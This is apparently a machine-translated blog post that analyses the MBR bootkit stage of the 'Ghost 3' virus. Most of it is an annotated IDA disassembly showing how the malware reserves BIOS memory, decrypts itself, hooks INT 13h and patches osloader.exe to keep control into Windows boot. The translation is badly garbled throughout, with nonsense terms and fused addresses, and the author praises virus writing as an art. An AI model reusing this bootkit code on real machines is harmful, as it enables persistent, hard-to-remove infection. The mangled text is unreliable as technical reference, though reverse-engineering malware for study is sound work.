Well, writing a good virus is indeed an art, but few people are sticking to it now.
This afternoon, the boss announced the formal holiday and there was no air conditioning in the dormitory during the summer vacation. As a result, the boss said that he could go to her office. Aha, haha. I decided to stay and study.> _ <
Is it because you haven't seen the silver soul in two days ~~~
I don't have to pay much for comments. Ghost 3 is still very bright, and the trojan and flower commands are used for self-decoding ..
The following is a detailed description of the MBR part of ghost film 3, excluding the code for entering the protect mode, because I haven't finished it yet. This part is just about the MBR part, but it has many highlights.
You can't afford to go to the disk layout and draw your own pictures (hello, Shenma wants to say something again ..)
In the first figure, before the hook, the red box indicates the MBR search mark.
In the second figure, after the hook, the red box is the modified jump, with 6 bytes
The MBR section is as follows:
/* ++ @ File virusmbr. ASM @ auth gaa. RA @ date 2011.7.8 -- * // * seg000: 0000; seg000: 0000; + hour + seg000: 0000; | this file has been generated by the interactive disassembler (IDA) | seg000: 0000; | copyright (c) 2011 hex-rays, <support@hex-rays.com> | seg000: 0000; | license info: B3-432E-F558-21 | seg000: 0000; | ilfak guilfanov | seg000: 0000; + fill + seg000: 0000; seg000: 0000; input MD5: Weight: 0000; input CRC32: 9b617b04seg000: weight seg000: 0000; Segment seg000: 0000; file name: D: \ sourcelib \ mycode \ testproj \ reverseeng \ Ghost 3 sample \ virusmbrfix. binseg000: 0000; format: Binary fileseg000: 0000; base address: 0000 h range: 0000 h-0200 H loaded length: 0200hseg000: Segment seg000: 0000. 6860000g000: 0000. mmxseg000: 0000. model flatseg000: rjseg000: 0000; ========================================================== ========================================== seg000: required seg000: 0000; segment type: Pure codeseg000: 0000 seg000 segment byte public 'code' use16seg000: 0000 assume Cs: seg000seg000: 0000 assume ES: Nothing, SS: Nothing, DS: Nothing, FS: Nothing, GS: nothingseg000: rjseg000: 0000 loc_0:; perform a series of initialization tasks: seg000: 0000 JB short loc_5seg000: 0002 JNB short loc_5; perform a series of initialization tasks: seg000: 0002; segment seg000: 0004 dB 0ahseg000: 0005; Segment seg000: 0005seg000: 0005 loc_5:; Code xref: seg000: loc_0 segment jseg000: 0005; seg000: 0002 segment jseg000: 0005 CLI; perform a series of initialization tasks: seg000: 0006 mov word PTR Cs: 600 h, esseg000: 000b mov Cs: 602 H, spseg000: 0010 mov word PTR Cs: 604 H, ssseg000: 0015 mov dword ptr Cs: 7fch, 800hseg000: 001f LSS sp, CS: 7fchseg000: 0025 pushadseg000: 0027 push dsseg000: 0028 mov BX, CS: 413 H; biOS 0x413 memory record area seg000: 002d sub BX, 0dh; allocated 13kbseg000: 0031 and BL, 0fch; 4 K page alignment seg000: 0034 mov Cs: 413 H, BX; write back the BIOS memory record area seg000: 0039 shl bx, 6; computing Segment Base Address seg000: 003c mov es, BX; save to the es segment register seg000: 003e xor bx, bxseg000: 0040 mov ax, 201 h; set the read sector function parameter seg000: 0043 mov CX, 1 for INT 13; copy itself to the applied space seg000: 0046 mov dx, 80 h; '€' seg000: 0049 INT 13 h; disk-read sectors into memoryseg000: 0049; Al = number of sectors to read, CH = track, CL = sectorseg000: 0049; DH = head, DL = drive, ES: Bx-> buffer to fillseg000: 0049; Return: Cf set on error, Ah = status, Al = number of sectors readseg000: 004bseg000: 004b loc_4b:; Data xref: seg000: 0049 running rseg000: 004b; seg000: 0063 running r... seg000: 004b JB short loc_50; es inbound stack seg000: 004dseg000: 004d loc_4d:; Data xref: seg000: 00b3 20.wseg000: 004d JNB short loc_50; es inbound stack seg000: 004d; segment seg000: 004f dB 2seg000: 0050; Segment seg000: 0050seg000: 0050 loc_50:; Code xref: seg000: loc_4b limit jseg000: 0050; seg000: loc_4d limit jseg000: 0050 push es; elasticsearch stack seg000: 0051 push offset loc_55; offset into Stack seg000: 0054 retf; return to elasticsearch: Offset, that is, the part seg000: 0055seg000: 0055 loc_55 :; data xref: seg000: 0051 pushed oseg000: 0055 push csseg000: 0056 pop dsseg000: 0057 mov Si, 6ch; 'l'; diskaddresspacket offset-Ds: 6cseg000: 005a mov ax, csseg000: 005c mov [Si + 6], ax; bufferadd: segmentseg000: 005f mov ah, 42 h; 'B'; extended disk read functions seg000: 0061 mov DL, 80 h; '€'; the first Fixed hard disk starts from 0x80 and indicates seg000: 0061; a total of 20 seg000: 0061 segments are read using the extended READ function, the position is after the memory location of the Code in this segment, assuming the current position seg000: 0061; Is 9c00: 0061 (Cs: 61), then the extended read seg000: 0061; then, the written data starts at 9c00: 0200 (Cs: 0200) seg000: 0061; seg000: 0063 INT 13 h; disk-IBM/MS extension-extended readseg000: 0063; (DL-drive, DS: Si-disk address packet) seg000: 0065 JB short loc_6aseg000: 0067 JNB short loc_6aseg000: 0067; Segment seg000: 0069 dB 3seg000: 006a; Segment seg000: 006aseg000: 006a loc_6a:; Code xref: seg000: 0065 running jseg000: 006a; seg000: 0067 running jseg000: 006a JMP short loc_7c; part of the data in the MBR of ghost film 3 is encrypted seg000: 006a. Starting from 9e, the code is initialized here and then decrypted using seg000: 006a; a loop, do you remember the seg000: 006a; data written to the disk? They are all encrypted. For details, refer to seg000: 006a in the previous article, seg000: 006a; Segment seg000: 006c diskaddresspacket <10 h, 0, 14 h, 200 h, 0ffcd8dh, 0>; seg000: 006c; here is the extended read INT 13 interrupt parameter seg000: 006c; among them, blocknumis seg000: 006c in mb.exe; written to virusmbr during infection. For details, refer to the Code seg000: 006c; struct diskaddresspacketseg000: 006c; {seg000: 006c; byte packetsize; // packet size (16 bytes) seg000: 006c; byte reserved; // = 0seg000: 006c; Word blockcount; // The number of data blocks to be transmitted (in slices) seg000: 006c; DWORD bufferaddr; // transmission buffer address (segment: Offset) seg000: 006c; qword blocknum; // The absolute block address starting from the disk (in slice) seg000: 006c ;}; seg000: 007c; rjseg000: 007cseg000: 007c loc_7c:; Code xref: seg000: loc_6a 1_jseg000: 007c mov Si, 9eh ;'; part of the data in the MBR of ghost film 3 is the encrypted seg000: 007c; Starting from 9e, the code is initialized here and then decrypted using seg000: 007c; a loop, do you remember the data seg000: 007c; written to the disk? They are all encrypted. For details, refer to seg000: 007c; seg000: 007f mov CX, 2762 h; 0x9e + 0x2762 = 0x2800seg000: 007f; decrypted data length, 0x2800 is a very familiar data seg000: 0082seg000: 0082 loc_82:; Code xref: seg000: 009c rjjseg000: 0082 push cxseg000: 0083 mov Al, [Si] seg000: 0085 or Al, Al; if it is 0, no decryption is required. If it is 0, it is still 0seg000: 0087 JZ short loc_9aseg000: 0089 JB short loc_8e; number of shifts, 0 x 73% 8 = 3, equivalent to three seg000: 008b JNB short loc_8e; number of shifts, 0 x 73% 8 = 3, equivalent to three seg000: 008b; small seg000: 008d dB 3seg000: 008e; small seg000: 008eseg000: 008e loc_8e:; Code xref: seg000: 0089 small jseg000: 008e; seg000: 008b small jseg000: 008e mov CX, 73 h;'s '; shift bits, 0 x 73% 8 = 3, equivalent to 3 bits seg000: 0091 JB short loc_96; Move 3 bits seg000 to the right of a loop: 0093 JNB short loc_96; right shift of three-digit seg000: 0093; Round seg000: 0095 dB 4seg000: 0096; Round seg000: 0096seg000: 0096 loc_96:; Code xref: seg000: 0091 limit jseg000: 0096; seg000: 0093 running jseg000: 0096 ror Al, Cl; cyclically shifted right three-digit seg000: 0098 mov [Si], Al; written back to memory segment 000: 009aseg000: 009a loc_9a :; code xref: seg000: 0087 running jseg000: 009a Inc siseg000: 009b pop CX; CX controls the number of cycles, uses push and pop to protect seg000: 009c loop loc_82; cyclically decrypts seg000: 009c; ---------------------- seg000: 009e push 0; /// // seg000: 009e. Note that you need to decrypt the code from here before you can see seg000: 009e. Here, I will splice the decrypted code with virusmbr seg000: 009e; for comments, the original code is not like this. seg000: 009e; /// // seg000: 009e; -------------------- seg000: 00a1 pop es; es segment register reset seg000: 00a2 mov eax, dword ptr es: loc_4b + 1; INT 13 address-> eaxseg000: 00a2; [ES: 4c] stores the INT 13 interrupt handler address seg000: 00a7 mov Cs: oldint13addr, eax; saves the original 13 interrupt program entry seg000: 00ac mov word ptr es: loc_4b + 1, offset @ int13hook; int13 offsetseg000: 00ac; hook int interrupted on the 13 th. The address of the virus processing process is seg000: 00b3 mov word ptr es: loc_4d + 1, Cs; int13 segmentseg000: 00b3; write segment address. Here the CS segment seg000: 00b8 xor ebx, ebxseg000: 00bb mov BX, csseg000: 00bd shl ebx, 4; CS segment offsetseg000: 00c1 or CS: 239 H, EBX; CS: 239 H = 0x00000001seg000: 00c1, seg000: 00c1 for a total of 20 sectors. Here we initialize the virus code separately, seg000: 00c1; Add the address and segment address to form the complete address seg000: 00c7 or CS: 3c3h, EBX; CS: 3c3h = 0x00000000seg000: 00cd add EBX, 204hseg000: 00d4 mov Cs: 200 h, EBX; ntldr call back addressseg000: 00d4; this is the back-to-hop address of the next virus that performs seg000: 00d4 for ntldr; hook, re-obtains the control seg000: 00d4; permission, and has entered the protection mode seg000: 00da mov Di, 7c00hseg000: 00dd mov Si, 2600hseg000: 00e0 mov CX, 200hseg000: 00e3 cldseg000: 00e4 rep movsb; write the orimbr of the operating system back to seg000: 00e4; 7c00, then directly jump to the MBR where the original seg000: 00e4; is executed. Because int13 has been hooked, seg000: 00e4; can be used to obtain the seg000: 00e6 pop dsseg000: 00e7 popadseg000: 00e9 LSS sp, ES: 602hseg000: 00ef mov es, word ptr es: 600hseg000: 00f4 JMP far PTR 0: 7c00h; skip back to execute orimbrseg000: 00f9; Segment seg000: 00f9seg000: 00f9 @ int13hook:; Data xref: seg000: 00ac unzip oseg000: 00f9 pushf; this part is processed by yourself after the virus hook int13 seg000: 00f9; when loading ntldr, Ms uses the 42 h extended read seg000: 00f9. When loading ntldr, Ms breaks through hook int13. When loading ntldr, seg000: 00f9; scans ntldrto find the osloader.exe specified command sequence, seg000: 00f9; hook osloader.exe. For this part of code, refer to seg000: 00f9; The bootroot code of eeye seg000: 00fa CMP ah, 42 h; 'B '; disk-IBM/MS extension-extended readseg000: 00fd JZ short @ int13hook_readrequestseg000: 00FF CMP ah, 2; disk-read sectorseg000: 0102 JZ short @ int13hook_readrequest; filter seg000: 0102 for the 2 h and 42 h sub-functions of INT 13; if not, directly jump to int13seg000: 0102; interrupt processing, if yes, do your own processing first seg000: 0104 popfseg000: 0104; then seg000: 0105 dB 0eah; JMP oldint13seg000: 0105; the following section 106 stores the old INT 13 Entry seg000: 0105; the four bytes are combined into JMP oldint13seg000: 0106 oldint13addr dd 0; Data xref: seg000: 00a7 rjwseg000: 0106; seg000: 0110 hour rseg000: 010a; hour seg000: 010aseg000: 010a @ int13hook_readrequest:; Code xref: seg000: 00fd hour jseg000: 010a; seg000: 0102 hour jseg000: 010a popfseg000: 010b mov word PTR Cs: int13lastfunction + 1, ax; modify the number of transmitted sectors seg000: 010b; here, the data seg000: 010b in the code segment is directly modified; the position of the int13lastfunction tag + 1seg000: 010b; that is, mov ax, xxxx. Change 0 to xxxxseg000: 010f pushfseg000: 0110 call Cs: oldint13addrseg000: 0115 JB @ weight: 0119 pushfseg000: 011a cliseg000: 011b push esseg000: 011c push dsseg000: 011d pushadseg000: 011fseg000: 011f int13lastfunction:; Data xref: seg000: 010b running wseg000: 011f; seg000: 0129 running w... seg000: 011f mov ax, 0seg000: 0122 CMP ah, 42 h; 'B' seg000: 0125 jnz short @ int13hook_notextreadseg000: 0127 lodswseg000: 0128 lodswseg000: 0129 mov word PTR Cs: int13lastfunction + 1, axseg000: 012d les BX, [Si] seg000: 012fseg000: 012f @ int13hook_notextread:; Code xref: seg000: 0125 running jseg000: 012f mov ax, word PTR Cs: int13lastfunction + 1seg000: 0133 test Al, alseg000: 0135 jle short @ handle: 0137 xor cx, cxseg000: 0139 mov Cl, alseg000: 013b shl cx, 9seg000: 013e mov Al, 8bh; 'seg000: 0140 mov Di, bxseg000: 0142 cldseg000: 0143seg000: 0143 @ region:; Code xref: seg000: 014f running jseg000: 0143; seg000: 0157 running jseg000: 0143 repne scasbseg000: 0145 jnz short @ int13hook_scan_doneseg000: 0147 cmp dword ptr es: [di], 74f685f0h; seg000: 0147; osloader scan flag: seg000: 0147; F0 85 F6 74 21 80seg000: 014f jnz short @ partition: 0151 CMP word ptr es: [di + 4], 8021hseg000: 0157 jnz short @ int13hook_scan_loopseg000: 0159 push esseg000: 015a XOR eax, eaxseg000: 015d mov es, axseg000: 015f mov ax, csseg000: 0161 SHL eax, 4seg000: 0165 add eax, 200hseg000: 016b pop esseg000: 016c mov word ptr es: [di-1], 15ffh; seg000: 016c; the hook of osloader.exe is in the format of seg000: 016c; call dword ptr [offset]. The advantage is that seg000: 016c; only 6 character segments are supported. The seg000: 016c provided in osloader.exe; it is also a 6-byte free space (see the figure) seg000: 0172 mov ES: [di + 1], eaxseg000: 0177seg000: 0177 @ int13hook_scan_done:; Code xref: seg000: 0135 export jseg000: 0177; seg000: 0145 export jseg000: 0177 popadseg000: 0179 pop dsseg000: 017a pop esseg000: 017b popfseg000: 017cseg000: 017c @ int13hook_ret:; Code xref: seg000: 0115 export jseg000: 017c retf 2seg000: 017c ;---------------------------------------------------------------------------*/
------------------------------------------------- I am a split line ---------------------------------------------------
References:
1. http://blog.csdn.net/jiaguoxinzhi/article/details/2949304
2. http://bbs.pediy.com/showthread.php? T = 78933
3. http://www.eeye.com/Resources/Security-Center/Research/Tools/BootRoot